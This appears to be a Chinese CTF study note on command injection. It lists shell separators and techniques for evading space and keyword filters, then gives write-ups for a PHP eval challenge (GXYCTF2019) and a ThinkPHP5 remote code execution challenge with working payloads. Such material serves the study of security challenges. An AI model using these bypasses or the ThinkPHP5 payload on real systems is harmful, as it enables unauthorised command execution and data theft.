命令执行基础
cmd与bash的一些规则
Windows | Linux | |||||
---|---|---|---|---|---|---|
转义字符 | ^ | \ | ||||
多条命令执行 | &&、\ | \ | 、%0a | &&、\ | \ | 、;、$()、``、%0a、%0d |
注释符号 | :: | # |
&&与||存在惰性原则,and一个不成立就不执行第二个,or若第一个成立也不执行第二个
绕过
绕过空格
有时题目对过滤掉空格,于是我们可以采用以下方法来构造
- 用
%00-%ff
区间的字符串测试,如%09
- 在windows下通过
%ProgramFiles:~10,1%
获取空格~
为截取符%ProgramFile%
一般为C:Program Files
截取从第十个字符开始的一个字符,即为空格 Linux下
$IFS$9
{cmd,args}
对bash
有效,对zsh、dash
无效cat<>flag
读取文件时- e.g.
echo$IF$9aaaa
{echo,aaaa}
黑名单关键字
有时题目对过滤掉cat flag
等关键字,于是我们可以采用以下方法来构造
- 变量拼接
Linux:a=c;b=at;c=he;d=llo;$a$b ${c}${d}
给变量重新赋值 拼接后为cat flag
- 使用通配符
Linux:cat /tm?/fl*
Windows:type fla*
?代表任意一个字符串,*则代表任意个字符创 借用已有字符串 如果禁用
<>?
等字符串,则可以借用其他文件中的字符串,利用substr()
函数来截取某个特定字符串。root@kali:cat test.php <?php echo test.php; ?> root@kali:echo `expr substr $(awk NR==1 test.php) 1 1` < root@kali:echo `expr substr $(awk NR==3 test.php) 2 1` >
执行无回显
- HTTP通道
- DNS通道
- 时间盲注
- 写入文件,二次返回
[GXYCTF2019]禁止套娃
GitHack
存在git泄露 扫码网站得到index.php
代码分析
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
先传入参数exp
,第一个和第三个if过滤掉了协议以及关键词
(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
第二个if表明所给的exp
在去掉字母括号后为;
构造.
源码在flag.php
中
我们可以通过
<?php
print_r(scandir('.'));
?>
来扫码当前目录下的文件,但是.
符号已经被过滤
于是我们可以构造.
号,有以下两种方法
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
从而获取到了5个文件,flag.php
为数组的倒数第二个元素
获取falg.php
为了获取倒数第二个元素,我们可以通过array_rand(array_filp())
随机从数组中取值。其中array_flip()
交换数组的键和值,array_rand()
从数组中随机取出一个或多个单元。
构造payload
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
由于是随机取值,多刷新几遍网页就可以得到flag
[BJDCTF 2nd]old-hack
发现网页由THINKPHP5驱动,发现其存在漏洞,即可通过Post操作传入下列参数。
_method=__construct&filter[]=system&server[REQUEST_METHOD]=
_method=__construct&filter[]=system&method=get&get[]=
这是应对漏洞的一种格式固定的操作。有以上两种方法。等号后面跟的是命令。
先传参查看目录结构
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls
后获取flag
_method=__construct&filter[]=system&method=get&get[]=cat /flag